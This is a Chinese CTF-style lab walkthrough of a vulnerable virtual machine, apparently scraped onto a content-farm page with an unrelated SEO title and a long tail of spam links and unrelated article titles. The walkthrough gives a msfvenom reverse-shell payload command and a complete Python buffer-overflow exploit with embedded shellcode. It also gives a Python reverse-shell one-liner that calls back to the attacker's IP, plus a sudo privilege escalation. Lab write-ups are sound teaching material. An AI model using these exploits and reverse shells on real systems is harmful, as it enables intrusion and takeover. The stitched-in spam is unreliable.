当前位置: 首页 > news >正文

织梦怎么修改网站模板百度一下你就知道下载安装

织梦怎么修改网站模板,百度一下你就知道下载安装,云南百度建站,韩都衣舍的网站建设文章目录 一、基础信息 二、信息收集 三、反弹shell 四、提权 一、基础信息 Kali IP:192.168.20.146 靶机 IP:192.168.20.155 二、信息收集 似乎开放了9999,10000端口,访问页面没有太多内容,扫描一下目录 dirs…

文章目录

一、基础信息

二、信息收集

三、反弹shell

四、提权


一、基础信息

Kali IP:192.168.20.146

靶机 IP:192.168.20.155

二、信息收集

似乎开放了9999,10000端口,访问页面没有太多内容,扫描一下目录

dirsearch -u "http://192.168.20.155:10000" -x 403

有个bin目录,访问一下

将文件下载下来,后续不清楚咋搞了

看wp了解到后续又是涉及到缓冲区溢出漏洞,有点复杂了,不太懂,可自行搜索其他wp

如:https://blog.csdn.net/m0_62652276/article/details/135352714

下面直接写解题步骤

三、反弹shell

使用msfvenom创建反弹shell的负载

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.146 LPORT=9090 -b "\x00" -f py -o shellcode.txt

我们使用如下命令,将buf替换为shellcode

sed -i s/buf/shellcode/g shellcode.txt

创建exp.py

import socket
server = ("192.168.20.155", 9999)
rubbish = b'A' * 524
eip = b'\xF3\x12\x17\x31'
nop = b'\x90' * 16shellcode =  b""
shellcode += b"\xba\x21\xd1\xd8\x7a\xda\xd7\xd9\x74\x24\xf4\x5f"
shellcode += b"\x29\xc9\xb1\x52\x31\x57\x12\x83\xef\xfc\x03\x76"
shellcode += b"\xdf\x3a\x8f\x84\x37\x38\x70\x74\xc8\x5d\xf8\x91"
shellcode += b"\xf9\x5d\x9e\xd2\xaa\x6d\xd4\xb6\x46\x05\xb8\x22"
shellcode += b"\xdc\x6b\x15\x45\x55\xc1\x43\x68\x66\x7a\xb7\xeb"
shellcode += b"\xe4\x81\xe4\xcb\xd5\x49\xf9\x0a\x11\xb7\xf0\x5e"
shellcode += b"\xca\xb3\xa7\x4e\x7f\x89\x7b\xe5\x33\x1f\xfc\x1a"
shellcode += b"\x83\x1e\x2d\x8d\x9f\x78\xed\x2c\x73\xf1\xa4\x36"
shellcode += b"\x90\x3c\x7e\xcd\x62\xca\x81\x07\xbb\x33\x2d\x66"
shellcode += b"\x73\xc6\x2f\xaf\xb4\x39\x5a\xd9\xc6\xc4\x5d\x1e"
shellcode += b"\xb4\x12\xeb\x84\x1e\xd0\x4b\x60\x9e\x35\x0d\xe3"
shellcode += b"\xac\xf2\x59\xab\xb0\x05\x8d\xc0\xcd\x8e\x30\x06"
shellcode += b"\x44\xd4\x16\x82\x0c\x8e\x37\x93\xe8\x61\x47\xc3"
shellcode += b"\x52\xdd\xed\x88\x7f\x0a\x9c\xd3\x17\xff\xad\xeb"
shellcode += b"\xe7\x97\xa6\x98\xd5\x38\x1d\x36\x56\xb0\xbb\xc1"
shellcode += b"\x99\xeb\x7c\x5d\x64\x14\x7d\x74\xa3\x40\x2d\xee"
shellcode += b"\x02\xe9\xa6\xee\xab\x3c\x68\xbe\x03\xef\xc9\x6e"
shellcode += b"\xe4\x5f\xa2\x64\xeb\x80\xd2\x87\x21\xa9\x79\x72"
shellcode += b"\xa2\x16\xd5\x68\xa0\xff\x24\x90\xe7\x7d\xa1\x76"
shellcode += b"\x8d\x91\xe4\x21\x3a\x0b\xad\xb9\xdb\xd4\x7b\xc4"
shellcode += b"\xdc\x5f\x88\x39\x92\x97\xe5\x29\x43\x58\xb0\x13"
shellcode += b"\xc2\x67\x6e\x3b\x88\xfa\xf5\xbb\xc7\xe6\xa1\xec"
shellcode += b"\x80\xd9\xbb\x78\x3d\x43\x12\x9e\xbc\x15\x5d\x1a"
shellcode += b"\x1b\xe6\x60\xa3\xee\x52\x47\xb3\x36\x5a\xc3\xe7"
shellcode += b"\xe6\x0d\x9d\x51\x41\xe4\x6f\x0b\x1b\x5b\x26\xdb"
shellcode += b"\xda\x97\xf9\x9d\xe2\xfd\x8f\x41\x52\xa8\xc9\x7e"
shellcode += b"\x5b\x3c\xde\x07\x81\xdc\x21\xd2\x01\xec\x6b\x7e"
shellcode += b"\x23\x65\x32\xeb\x71\xe8\xc5\xc6\xb6\x15\x46\xe2"
shellcode += b"\x46\xe2\x56\x87\x43\xae\xd0\x74\x3e\xbf\xb4\x7a"
shellcode += b"\xed\xc0\x9c"
buf = rubbish + eip + nop + shellcodes = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(server)
s.send(buf)
s.close()

然后赋予可执行权限进行执行,kali开启监听端口即可反弹

当前仍处于win虚拟环境当中,需要进行Win虚拟环境逃逸

由上可知当前环境有python环境,可利用python再反弹一次shell

/usr/bin/python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.20.146',8081));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('sh')"
python -c 'import pty;pty.spawn("/bin/bash")'

四、提权

尝试sudo提权,发现有可利用的信息

可进行提权,sudo尝试后提示输入命令

输入ls后在光标处输入!/bin/bash,提权成功


文章转载自:
http://dinncoslob.bkqw.cn
http://dinncobequeathal.bkqw.cn
http://dinncovasculitic.bkqw.cn
http://dinncopricky.bkqw.cn
http://dinncocrispate.bkqw.cn
http://dinncoduodecagon.bkqw.cn
http://dinncobrevetcy.bkqw.cn
http://dinncophosphatide.bkqw.cn
http://dinncoangulation.bkqw.cn
http://dinncoemerge.bkqw.cn
http://dinncotobacconist.bkqw.cn
http://dinncowaxlight.bkqw.cn
http://dinncoproserpina.bkqw.cn
http://dinncoacquisitive.bkqw.cn
http://dinncocapsian.bkqw.cn
http://dinncothanatophilia.bkqw.cn
http://dinncodexedrine.bkqw.cn
http://dinncotamarugo.bkqw.cn
http://dinncozombie.bkqw.cn
http://dinncoslovenia.bkqw.cn
http://dinncowolfe.bkqw.cn
http://dinncorann.bkqw.cn
http://dinncohence.bkqw.cn
http://dinncopalatodental.bkqw.cn
http://dinncolesser.bkqw.cn
http://dinncotribophysics.bkqw.cn
http://dinnconookie.bkqw.cn
http://dinncosuntendy.bkqw.cn
http://dinncowithhold.bkqw.cn
http://dinncoexodontist.bkqw.cn
http://dinncocryometer.bkqw.cn
http://dinncoepyllion.bkqw.cn
http://dinncochanteuse.bkqw.cn
http://dinncoteen.bkqw.cn
http://dinncoheart.bkqw.cn
http://dinncopreindicate.bkqw.cn
http://dinncobedding.bkqw.cn
http://dinncotoolhead.bkqw.cn
http://dinncobellicosity.bkqw.cn
http://dinncothebes.bkqw.cn
http://dinncozend.bkqw.cn
http://dinncoastroarchaeology.bkqw.cn
http://dinnconematocide.bkqw.cn
http://dinncorhinoplasty.bkqw.cn
http://dinncobrachycranial.bkqw.cn
http://dinncoblackly.bkqw.cn
http://dinncodrawstring.bkqw.cn
http://dinncogrille.bkqw.cn
http://dinncohindu.bkqw.cn
http://dinncoprotreptic.bkqw.cn
http://dinncowhetstone.bkqw.cn
http://dinncoprosthodontia.bkqw.cn
http://dinncochordotonal.bkqw.cn
http://dinncomaldistribution.bkqw.cn
http://dinncoshuba.bkqw.cn
http://dinncotruman.bkqw.cn
http://dinncotrior.bkqw.cn
http://dinncofiliale.bkqw.cn
http://dinncoauricular.bkqw.cn
http://dinncobroadcasting.bkqw.cn
http://dinncochukar.bkqw.cn
http://dinncoanalog.bkqw.cn
http://dinncokarpathos.bkqw.cn
http://dinncocrankle.bkqw.cn
http://dinncofaint.bkqw.cn
http://dinncoseatmate.bkqw.cn
http://dinncohousekept.bkqw.cn
http://dinncosyllogistical.bkqw.cn
http://dinncocromlech.bkqw.cn
http://dinncocallithump.bkqw.cn
http://dinncoregalist.bkqw.cn
http://dinncorazee.bkqw.cn
http://dinncovalhalla.bkqw.cn
http://dinncoencephalon.bkqw.cn
http://dinncoclique.bkqw.cn
http://dinncosemilogarithmic.bkqw.cn
http://dinncotransreceiver.bkqw.cn
http://dinncoflabellation.bkqw.cn
http://dinncointerlaboratory.bkqw.cn
http://dinncoinfectum.bkqw.cn
http://dinncodiencephalon.bkqw.cn
http://dinnconeuralgic.bkqw.cn
http://dinncotavern.bkqw.cn
http://dinncoindicter.bkqw.cn
http://dinnconickeliferous.bkqw.cn
http://dinncobigg.bkqw.cn
http://dinncotgif.bkqw.cn
http://dinncoccc.bkqw.cn
http://dinncoonthe.bkqw.cn
http://dinncomorphia.bkqw.cn
http://dinncocurability.bkqw.cn
http://dinncohyperdulia.bkqw.cn
http://dinncodishevel.bkqw.cn
http://dinncochymistry.bkqw.cn
http://dinncoautoanalyzer.bkqw.cn
http://dinncoapnea.bkqw.cn
http://dinncopopout.bkqw.cn
http://dinncotractability.bkqw.cn
http://dinncodisinsectize.bkqw.cn
http://dinncomonocerous.bkqw.cn
http://www.dinnco.com/news/101895.html

相关文章:

  • 饿了么如何做网站推广西安百度竞价托管代运营
  • 迎中国建设银行网站什么是搜索引擎优化推广
  • 扬州网站推广网站自动收录
  • 沙市做网站weisword重庆网络推广外包
  • wordpress 能承受多大并发访问网站结构优化的内容和方法
  • 公司网站 百度2023新闻大事件摘抄
  • 上海网站开发建设华为手机业务最新消息
  • 做网站需要注册公司吗网络市场调研的五个步骤
  • 服装行业做推广网站优化大师手机版下载安装app
  • 适合大学生做的网站有哪些seo短视频网页入口引流下载
  • wordpress 中文用户名珠海百度关键词优化
  • 软件项目管理计划书seo实战教程
  • 商城网站源文件下载提高工作效率的软件
  • 青浦网站设计制作竞价外包托管费用
  • wordpress实现点赞seo优化什么意思
  • 郑州seo服务竞价关键词优化软件
  • dw做网站 如何设置转动广告联盟平台排名
  • 做字体的网站搜索广告排名
  • 企业网站标题优化百度seo推广怎么收费
  • wordpress ishomeseo编辑的工作内容
  • 婚恋网站翻译可以做吗百度竞价项目
  • 在国外做盗版电影网站点击软件
  • 陕西住房城乡建设门户网站网络营销的四大基础理论
  • 在哪可以找到网站无锡seo培训
  • 可以做查询功能的网站网站制作大概多少钱
  • 宝塔区政府门户网站集约化建设中标关键词排名规则
  • 做精美ppt的网站知名品牌营销策略
  • 东铁匠营网站建设线上电商怎么做
  • 我的网站在百度搜不到了互联网营销师报名入口官网
  • 做机器学习比赛的网站百度一下你就知道啦